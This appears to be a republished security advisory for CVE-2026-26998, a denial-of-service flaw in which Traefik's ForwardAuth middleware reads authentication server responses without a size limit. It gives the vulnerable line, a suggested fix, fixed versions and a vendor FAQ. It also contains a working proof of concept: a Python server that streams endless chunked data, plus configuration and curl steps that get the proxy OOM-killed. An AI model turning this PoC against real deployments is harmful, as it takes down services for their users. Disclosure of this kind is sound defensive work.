CVE-2026-26998

Workarounds

No workaround available.

For more information

If there are any questions or comments about this advisory, please open an issue.

The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.

Details

In pkg/middlewares/auth/forward.go, line 213:

body, readError := io.ReadAll(forwardResponse.Body)

When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.

Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):

logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...")

However, the response body path has no equivalent protection, no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.

PoC

1. Create a malicious auth server (auth_infinite.py):

   from http.server import BaseHTTPRequestHandler, HTTPServer

   class InfiniteAuth(BaseHTTPRequestHandler):
   def do_GET(self):
   self.send_response(200)
   self.send_header("Transfer-Encoding", "chunked")
   self.end_headers()
   chunk = b"A" * (64 * 1024)
   try:
   while True:
   self.wfile.write(f"{len(chunk):x}\r\n".encode())
   self.wfile.write(chunk + b"\r\n")
   self.wfile.flush()
   except BrokenPipeError:
   pass

   HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serve_forever()

2. Traefik dynamic config (dynamic.yml):

   http:
   routers:
   protected:
   entryPoints: [web]
   rule: "PathPrefix('/admin')"
   middlewares: [auth]
   service: whoami
   
   middlewares:
   auth:
   forwardAuth:
   address: "http://auth:9000/auth"
   
   services:
   whoami:
   loadBalancer:
   servers:
   - url: "http://whoami:80"

3. Docker Compose (docker-compose.yml):

   services:
   traefik:
   image: traefik:v3.6
   command:
   - --entrypoints.web.address=:8000
   - --providers.file.filename=/etc/traefik/dynamic.yml
   ports:
   - "8000:8000"
   volumes:
   - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
   deploy:
   resources:
   limits:
   memory: 512M
   depends_on: [auth, whoami]
   
   auth:
   image: python:3.12-slim
   command: ["python", "/app/auth_infinite.py"]
   volumes:
   - ./auth_infinite.py:/app/auth_infinite.py:ro
   
   whoami:
   image: traefik/whoami:v1.11

4. Reproduce:

   docker compose up -d
   docker stats --no-stream traefik # ~14 MiB
   curl -s -o /dev/null http://localhost:8000/admin
   docker inspect traefik --format '{{.State.OOMKilled}}' # true
   docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL)

Observed results:

After OOM kill, all routes on the entrypoint become unreachable, complete service outage.

Impact

This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.

Realistic attack scenarios include:

• Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers)
• Compromised or buggy auth servers that return unexpected large responses
• Defense in depth: even trusted auth servers should not be able to crash the proxy

Suggested Fix

Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:

const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB
limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize)
body, readError := io.ReadAll(limitedBody)

Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.

There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.

When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.

This results in a denial of service for all routes served by the affected Traefik instance.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

CVE-2026-26998 has a CVSS score of 4.4 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.38, 3.6.9); upgrading removes the vulnerable code path.

Kodem intelligence

• https://github.com/traefik/traefik/releases/tag/v2.11.38
• https://github.com/traefik/traefik/releases/tag/v3.6.9

1. What is CVE-2026-26998? CVE-2026-26998 is a medium-severity allocation of resources without limits or throttling vulnerability in github.com/traefik/traefik/v2 (go), affecting versions <= 2.11.37. It is fixed in 2.11.38, 3.6.9. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is CVE-2026-26998? CVE-2026-26998 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-26998?
   • github.com/traefik/traefik/v2 (go) (versions <= 2.11.37)
   • github.com/traefik/traefik/v3 (go) (versions <= 3.6.8)
4. Is there a fix for CVE-2026-26998? Yes. CVE-2026-26998 is fixed in 2.11.38, 3.6.9. Upgrade to this version or later.
5. Is CVE-2026-26998 exploitable, and should I be worried? Whether CVE-2026-26998 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-26998 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-26998?
   • Upgrade github.com/traefik/traefik/v2 to 2.11.38 or later
   • Upgrade github.com/traefik/traefik/v3 to 3.6.9 or later